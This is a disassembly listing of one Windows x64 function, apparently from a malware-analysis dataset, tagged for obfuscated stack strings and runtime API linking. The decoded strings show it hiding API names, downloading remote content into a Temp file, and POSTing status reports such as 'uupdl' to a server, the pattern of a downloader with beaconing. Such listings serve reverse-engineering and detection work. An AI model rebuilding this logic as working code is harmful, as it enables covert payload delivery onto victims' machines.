Function at 0x140005560
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x128]
sub rsp, 0x228
mov rax, qword [0x14003e040]
xor rax, rsp
mov qword [rbp + 0x110], rax
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x70], r8
mov rdi, rdx
mov qword [rsp + 0x50], rdx
mov r13, rcx
mov qword [rbp + 0x38], rcx
xor esi, esi
mov eax, dword [0x14003ff20]
mov dword [rsp + 0x40], eax
mov qword [rbp + 0x84], rsi
mov dword [rbp + 0x56], esi
mov word [rbp + 0x5a], si
mov word [rbp + 0xd9], si
mov byte [rbp + 0xdb], sil
mov word [rbp + 0xf1], si
mov byte [rbp + 0xf3], sil
mov word [rbp + 0x109], si
mov byte [rbp + 0x10b], sil
mov dword [rbp + 0x78], 0x696e6957
mov dword [rbp + 0x7c], 0x2e74656e
mov dword [rbp + 0x80], 0x6c6c64
mov dword [rbp + 0x48], 0x65746e49
mov dword [rbp + 0x4c], 0x74656e72
mov dword [rbp + 0x50], 0x6e65704f
mov word [rbp + 0x54], 0x41
movdqa xmm0, xmmword [0x1400390a0]
movdqu xmmword [rbp + 0xc8], xmm0
mov byte [rbp + 0xd8], sil
movdqa xmm1, xmmword [0x1400390c0]
movdqu xmmword [rbp + 0xe0], xmm1
mov byte [rbp + 0xf0], sil
movdqa xmm0, xmmword [0x1400390b0]
movdqu xmmword [rbp + 0xf8], xmm0
mov byte [rbp + 0x108], sil
lea rcx, [rbp + 0x78]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
lea rdx, [rbp + 0x48]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14003feb0], rax
lea rdx, [rbp + 0xc8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14003fef0], rax
lea rdx, [rbp + 0xe0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14003fec0], rax
lea rdx, [rbp + 0xf8]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14003fed0], rax
mov ecx, 0xfa
call fcn.140012abc
mov r12, rax
xor edx, edx
mov r8d, 0xfa
mov rcx, rax
call fcn.14002a9f0
lea ecx, [rsi + 0x32]
call fcn.140012abc
mov qword [rbp - 0x78], rax
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
mov word [rax + 0x30], cx
mov qword [rsp + 0x20], rax
mov r9, r12
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call fcn.1400194ac
mov ecx, 0x1f4
call fcn.140012abc
mov rdi, rax
mov qword [rbp - 0x70], rax
xor edx, edx
mov r8d, 0x1f4
mov rcx, rax
call fcn.14002a9f0
lea rdx, [rdi - 1]
nop
lea rdx, [rdx + 1]
cmp byte [rdx], sil
jne 0x140005740
xor ecx, ecx
nop dword [rax + rax]
movzx eax, byte [r12 + rcx]
mov byte [rdx + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x140005750
mov ecx, 0xa
call fcn.140012abc
mov r15, rax
xor eax, eax
mov qword [r15], rax
mov word [r15 + 8], ax
mov dword [r15], 0x706d6554
mov ecx, 0x3e8
call fcn.14001bf24
mov r14, rax
xor edx, edx
mov r8d, 0x3e8
mov rcx, rax
call fcn.14002a9f0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x60], xmm0
mov dword [rbp + 0x70], eax
mov dword [rbp + 0x60], 0x6e72654b
mov dword [rbp + 0x64], 0x32336c65
mov dword [rbp + 0x68], 0x6c6c642e
mov byte [rbp + 0x6c], al
mov qword [rbp + 0xbc], 0x41656c
mov word [rbp + 0xc4], si
movdqa xmm0, xmmword [0x140039100]
movdqu xmmword [rbp + 0xa8], xmm0
mov dword [rbp + 0xb8], 0x62616972
lea rcx, [rbp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rdx, [rbp + 0xa8]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14003fe98], rax
mov r8d, 0x3e8
mov rdx, r14
mov rcx, r15
call rax
mov ecx, 0x7d0
call fcn.140012abc
mov rbx, rax
mov qword [rsp + 0x48], rax
xor edx, edx
mov r8d, 0x7d0
mov rcx, rax
call fcn.14002a9f0
mov r9, rdi
mov r8, r14
lea rdx, [0x140038dd8]
mov rcx, rbx
call fcn.140001c70
mov ecx, 0xf
call fcn.140012abc
mov rsi, rax
mov dword [rax + 0xb], 0
mov dword [rax], 0x6d6c7255
mov dword [rax + 4], 0x642e6e6f
mov word [rax + 8], 0x6c6c
mov byte [rax + 0xa], 0
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rbx, rax
mov ecx, 0x19
call fcn.140012abc
mov rdi, rax
xor eax, eax
mov word [rdi + 0x17], ax
mov dword [rdi], 0x4f4c5255
mov dword [rdi + 4], 0x426e6570
mov dword [rdi + 8], 0x6b636f6c
mov dword [rdi + 0xc], 0x53676e69
mov dword [rdi + 0x10], 0x61657274
mov word [rdi + 0x14], 0x416d
mov byte [rdi + 0x16], al
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14003fef8], rax
mov rcx, rsi
call fcn.140012570
mov rcx, rdi
call fcn.140012570
mov rcx, r12
call fcn.140012570
mov rcx, qword [rbp - 0x78]
call fcn.140012570
mov rcx, qword [rbp - 0x70]
call fcn.140012570
mov rcx, r15
call fcn.140012570
mov rcx, r14
call fcn.14001baf8
xor edi, edi
mov qword [rsp + 0x20], rdi
xor r9d, r9d
lea r8, [rbp - 0x80]
mov rdx, qword [rsp + 0x50]
xor ecx, ecx
call qword [0x14003fef8]
test eax, eax
jne 0x14000603e
mov ecx, 0x27100
call fcn.140012abc
mov r14, rax
xor edx, edx
mov r8d, 0x27100
mov rcx, rax
call fcn.14002a9f0
xorps xmm0, xmm0
movups xmmword [rbp - 0x68], xmm0
mov ebx, edi
mov qword [rbp - 0x58], rbx
mov esi, 0xf
mov qword [rbp - 0x50], rsi
mov byte [rbp - 0x68], bl
lea ecx, [rdi + 0x14]
call fcn.140012abc
mov r15, rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [r15], xmm0
mov dword [r15 + 0x10], eax
mov dword [r15], 0x6e72656b
mov dword [r15 + 4], 0x32336c65
mov dword [r15 + 8], 0x6c6c642e
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov r12, rax
mov rcx, qword [rbp - 0x80]
mov rax, qword [rcx]
lea r9, [rbp - 0x70]
mov r8d, 0x27100
mov rdx, r14
call qword [rax + 0x18]
mov ecx, dword [rbp - 0x70]
test ecx, ecx
je 0x140005bb2
nop dword [rax]
mov edi, ecx
mov rax, rsi
sub rax, rbx
cmp rdi, rax
ja 0x140005a09
lea rax, [rbx + rdi]
mov qword [rbp - 0x58], rax
lea rax, [rbp - 0x68]
cmp rsi, 0xf
cmova rax, qword [rbp - 0x68]
add rbx, rax
mov r8d, edi
mov rdx, r14
mov rcx, rbx
call fcn.14002adb0
mov byte [rbx + rdi], 0
jmp 0x140005a1d
mov qword [rsp + 0x20], rdi
mov r9, r14
mov rdx, rdi
lea rcx, [rbp - 0x68]
call fcn.140009540
lea rdx, [rbp - 0x68]
lea rcx, [rbp - 8]
call fcn.14000ae10
nop
lea rdx, [rbp - 8]
lea rcx, [rbp - 0x48]
call fcn.140001520
nop
xor edi, edi
mov qword [rbp + 0x9c], rdi
mov dword [rbp + 0x90], 0x61657243
mov dword [rbp + 0x94], 0x69466574
mov dword [rbp + 0x98], 0x41656c
lea rdx, [rbp + 0x90]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14003fec8], rax
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
mov edx, 0x40000000
lea r8d, [rdi + 2]
mov rcx, qword [rsp + 0x48]
call rax
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140005b01
mov dword [rbp + 0x42], edi
mov byte [rbp + 0x46], dil
mov dword [rbp + 0x38], 0x74697257
mov dword [rbp + 0x3c], 0x6c694665
mov word [rbp + 0x40], 0x65
lea rdx, [rbp + 0x38]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x14003ff00], rax
lea rdx, [rbp - 0x48]
cmp qword [rbp - 0x30], 0xf
cmova rdx, qword [rbp - 0x48]
mov qword [rsp + 0x20], rdi
lea r9, [rbp - 0x78]
mov r8d, dword [rbp - 0x38]
mov rcx, rbx
call rax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
nop
mov rdx, qword [rbp - 0x30]
cmp rdx, 0xf
jbe 0x140005b3c
inc rdx
mov rcx, qword [rbp - 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005b37
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006389
call fcn.140012570
mov qword [rbp - 0x38], rdi
mov qword [rbp - 0x30], 0xf
mov byte [rbp - 0x48], 0
mov rdx, qword [rbp + 0x10]
cmp rdx, 0xf
jbe 0x140005b87
inc rdx
mov rcx, qword [rbp - 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005b82
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000638f
call fcn.140012570
mov rcx, qword [rbp - 0x80]
mov rax, qword [rcx]
lea r9, [rbp - 0x70]
mov r8d, 0x27100
mov rdx, r14
call qword [rax + 0x18]
mov ecx, dword [rbp - 0x70]
mov rsi, qword [rbp - 0x50]
test ecx, ecx
je 0x140005bb2
mov rbx, qword [rbp - 0x58]
jmp 0x1400059d0
mov rcx, qword [rbp - 0x80]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, r15
call fcn.140012570
mov rcx, r14
call fcn.140012570
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [0x140040038]
call qword [0x14003feb0]
mov qword [rsp + 0x58], rax
test rax, rax
jne 0x140005c57
xorps xmm0, xmm0
movups xmmword [r13], xmm0
mov qword [r13 + 0x10], rdi
mov qword [r13 + 0x18], rdi
xor r8d, r8d
lea rdx, [0x140038ca0]
mov rcx, r13
call fcn.1400019f0
nop
cmp rsi, 0xf
jbe 0x14000635d
lea rdx, [rsi + 1]
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005cf2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006383
call fcn.140012570
jmp 0x14000635d
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], rdi
xor r9d, r9d
movzx r8d, word [rbp + 0x1a8]
lea rdx, [0x140040050]
mov rcx, rax
call qword [0x14003fef0]
mov r14, rax
mov qword [rsp + 0x50], rax
test rax, rax
jne 0x140005cfc
xorps xmm0, xmm0
movups xmmword [r13], xmm0
mov qword [r13 + 0x10], rdi
mov qword [r13 + 0x18], rdi
xor r8d, r8d
lea rdx, [0x140038ca0]
mov rcx, r13
call fcn.1400019f0
nop
cmp rsi, 0xf
jbe 0x14000635d
lea rdx, [rsi + 1]
mov rax, qword [rbp - 0x68]
mov rcx, rax
cmp rdx, 0x1000
jb 0x140005cef
add rdx, 0x27
mov rax, qword [rax - 8]
sub rcx, rax
add rcx, 0xfffffffffffffff8
cmp rcx, 0x1f
ja 0x140006383
mov rcx, rax
call fcn.140012570
jmp 0x14000635d
mov rdi, 0xffffffffffffffff
mov r8, rdi
mov rax, qword [rsp + 0x48]
nop dword [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x140005d10
mov rdx, rax
lea rcx, [rbp + 0x18]
call fcn.140001260
nop
lea rdx, [rbp + 0x18]
lea rcx, [rbp - 0x28]
call fcn.14000a020
nop
mov ecx, 0xa
call fcn.140012abc
mov rbx, rax
mov qword [rsp + 0x60], rax
xor eax, eax
mov qword [rbx], rax
mov word [rbx + 8], ax
mov dword [rbx], 0x54534f50
lea ecx, [rax + 0xa]
call fcn.140012abc
mov qword [rbp + 0x38], rax
mov dword [rax + 6], 0x312e
mov dword [rax], 0x50545448
mov word [rax + 4], 0x312f
xor ecx, ecx
mov qword [rsp + 0x38], rcx
mov edx, dword [rsp + 0x40]
mov dword [rsp + 0x30], edx
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rcx
mov r9, rax
lea r8, [0x14003ffc0]
mov rdx, rbx
mov rcx, r14
call qword [0x14003fec0]
mov qword [rbp - 0x78], rax
mov ecx, 0xa
call fcn.140012abc
mov r15, rax
xor eax, eax
mov qword [r15], rax
mov word [r15 + 8], ax
mov ecx, 0x2710
call fcn.140012abc
mov r12, rax
xor edx, edx
mov r8d, 0x2710
mov rcx, rax
call fcn.14002a9f0
mov ecx, 0x64
call fcn.140012abc
mov r14, rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [r14], xmm0
movups xmmword [r14 + 0x10], xmm0
movups xmmword [r14 + 0x20], xmm0
movups xmmword [r14 + 0x30], xmm0
movups xmmword [r14 + 0x40], xmm0
movups xmmword [r14 + 0x50], xmm0
mov dword [r14 + 0x60], eax
lea ecx, [rax + 0x46]
call fcn.140012abc
mov rbx, rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm0
movups xmmword [rbx + 0x20], xmm0
movups xmmword [rbx + 0x30], xmm0
mov dword [rbx + 0x40], eax
mov word [rbx + 0x44], ax
mov rcx, qword [rbp - 0x78]
test rcx, rcx
je 0x140005f25
mov dword [rbx], 0x746e6f43
mov dword [rbx + 4], 0x2d746e65
mov dword [rbx + 8], 0x65707954
mov dword [rbx + 0xc], 0x7061203a
mov dword [rbx + 0x10], 0x63696c70
mov dword [rbx + 0x14], 0x6f697461
mov dword [rbx + 0x18], 0x2d782f6e
mov dword [rbx + 0x1c], 0x2d777777
mov dword [rbx + 0x20], 0x6d726f66
mov dword [rbx + 0x24], 0x6c72752d
mov dword [rbx + 0x28], 0x6f636e65
mov word [rbx + 0x2c], 0x6564
mov byte [rbx + 0x2e], 0x64
mov rcx, rbx
mov rdx, r14
sub rdx, rbx
movzx eax, byte [rcx]
mov byte [rdx + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x140005ea1
mov dword [r15], 0x64707575
mov word [r15 + 4], 0x6c
lea rax, [rbp - 0x28]
cmp qword [rbp - 0x10], 0xf
cmova rax, qword [rbp - 0x28]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x70]
mov r8, r15
lea rdx, str._s_s___s___s
mov rcx, r12
call fcn.140001c70
mov rax, rdi
inc rax
cmp byte [r12 + rax], 0
jne 0x140005ef4
nop
inc rdi
cmp byte [r14 + rdi], 0
jne 0x140005f00
mov r8, rdi
mov dword [rsp + 0x20], eax
mov r9, r12
mov rdx, r14
mov rcx, qword [rbp - 0x78]
call qword [0x14003fed0]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x60]
call fcn.140012570
mov rcx, qword [rbp + 0x38]
call fcn.140012570
mov rcx, r15
call fcn.140012570
mov rcx, r12
call fcn.140012570
mov rcx, r14
call fcn.140012570
mov rcx, rbx
call fcn.140012570
nop
mov rdx, qword [rbp - 0x10]
cmp rdx, 0xf
jbe 0x140005fb0
inc rdx
mov rcx, qword [rbp - 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005fab
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006395
call fcn.140012570
xor eax, eax
mov qword [rbp - 0x18], rax
mov qword [rbp - 0x10], 0xf
mov byte [rbp - 0x28], al
mov rdx, qword [rbp + 0x30]
cmp rdx, 0xf
jbe 0x140005ffd
inc rdx
mov rcx, qword [rbp + 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140005ff7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000639b
call fcn.140012570
nop
cmp rsi, 0xf
jbe 0x1400062f2
lea rdx, [rsi + 1]
mov rcx, qword [rbp - 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140006034
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140006383
call fcn.140012570
jmp 0x1400062f2
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, [0x140040038]
call qword [0x14003feb0]
mov qword [rsp + 0x60], rax
test rax, rax
jne 0x140006076
xorps xmm0, xmm0
movups xmmword [r13], xmm0
mov qword [r13 + 0x10], rdi
mov qword [r13 + 0x18], rdi
jmp 0x14000634b
mov qword [rsp + 0x38], rdi
mov dword [rsp + 0x30], edi
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], rdi
xor r9d, r9d
movzx r8d, word [rbp + 0x1a8]
lea rdx, [0x140040050]
mov rcx, rax
call qword [0x14003fef0]
mov rbx, rax
mov qword [rbp + 0x38], rax
test rax, rax
je 0x140006061
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [rbp - 0x70], eax
mov ecx, 0xa
call fcn.140012abc
mov rdi, rax
mov qword [rsp + 0x58], rax
xor eax, eax
mov qword [rdi], rax
mov word [rdi + 8], ax
mov dword [rdi], 0x54534f50
lea ecx, [rax + 0xa]
call fcn.140012abc
mov r12, rax
mov dword [rax + 6], 0x312e
mov dword [rax], 0x50545448
mov word [rax + 4], 0x312f
xor eax, eax
mov qword [rsp + 0x38], rax
mov edx, dword [rsp + 0x40]
mov dword [rsp + 0x30], edx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rax
mov r9, r12
lea r8, [0x14003ffc0]
mov rdx, rdi
mov rcx, rbx
call qword [0x14003fec0]
mov qword [rbp - 0x78], rax
mov ecx, 0x2710
call fcn.140012abc
mov r15, rax
xor edx, edx
mov r8d, 0x2710
mov rcx, rax
call fcn.14002a9f0
mov ecx, 0x64
call fcn.140012abc
mov r14, rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [r14], xmm0
movups xmmword [r14 + 0x10], xmm0
movups xmmword [r14 + 0x20], xmm0
movups xmmword [r14 + 0x30], xmm0
movups xmmword [r14 + 0x40], xmm0
movups xmmword [r14 + 0x50], xmm0
mov dword [r14 + 0x60], eax
lea ecx, [rax + 0x46]
call fcn.140012abc
mov rbx, rax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm0
movups xmmword [rbx + 0x20], xmm0
movups xmmword [rbx + 0x30], xmm0
mov dword [rbx + 0x40], eax
mov word [rbx + 0x44], ax
lea ecx, [rax + 0xa]
call fcn.140012abc
mov rsi, rax
xor eax, eax
mov qword [rsi], rax
mov word [rsi + 8], ax
cmp qword [rbp - 0x78], rax
je 0x140006309
mov dword [rbx], 0x746e6f43
mov dword [rbx + 4], 0x2d746e65
mov dword [rbx + 8], 0x65707954
mov dword [rbx + 0xc], 0x7061203a
mov dword [rbx + 0x10], 0x63696c70
mov dword [rbx + 0x14], 0x6f697461
mov dword [rbx + 0x18], 0x2d782f6e
mov dword [rbx + 0x1c], 0x2d777777
mov dword [rbx + 0x20], 0x6d726f66
mov dword [rbx + 0x24], 0x6c72752d
mov dword [rbx + 0x28], 0x6f636e65
mov dword [rbx + 0x2c], 0x646564
mov rcx, rbx
mov rdx, r14
sub rdx, rbx
nop
movzx eax, byte [rcx]
mov byte [rdx + rcx], al
lea rcx, [rcx + 1]
test al, al
jne 0x140006220
mov dword [rsi], 0x70757265
mov dword [rsi + 4], 0x747073
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x70]
mov qword [rsp + 0x20], rax
mov r9d, dword [rbp - 0x70]
mov r8, rsi
lea rdx, str._s_d___s___s
mov rcx, r15
call fcn.140001c70
mov rdi, 0xffffffffffffffff
mov rax, rdi
nop
inc rax
cmp byte [r15 + rax], 0
jne 0x140006270
nop word [rax + rax]
inc rdi
cmp byte [r14 + rdi], 0
jne 0x140006280
mov r8, rdi
mov dword [rsp + 0x20], eax
mov r9, r15
mov rdx, r14
mov rcx, qword [rbp - 0x78]
call qword [0x14003fed0]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rbp + 0x38]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, qword [rsp + 0x58]
call fcn.140012570
mov rcx, r12
call fcn.140012570
mov rcx, r15
call fcn.140012570
mov rcx, r14
call fcn.140012570
mov rcx, rbx
call fcn.140012570
mov rcx, rsi
call fcn.140012570
mov rcx, qword [rsp + 0x48]
call fcn.140012570
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x140006339
mov rcx, rdi
call fcn.140012570
mov rcx, r12
call fcn.140012570
mov rcx, r15
call fcn.140012570
mov rcx, r14
call fcn.140012570
mov rcx, rbx
call fcn.140012570
mov rcx, rsi
call fcn.140012570
xorps xmm0, xmm0
movups xmmword [r13], xmm0
xor eax, eax
mov qword [r13 + 0x18], rax
mov qword [r13 + 0x10], rax
xor r8d, r8d
lea rdx, [0x140038ca0]
mov rcx, r13
call fcn.1400019f0
mov rax, r13
mov rcx, qword [rbp + 0x110]
xor rcx, rsp
call fcn.140012550
add rsp, 0x228
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.140019138
nop
call fcn.140019138
nop
call fcn.140019138
nop
call fcn.140019138
nop
call fcn.140019138
int3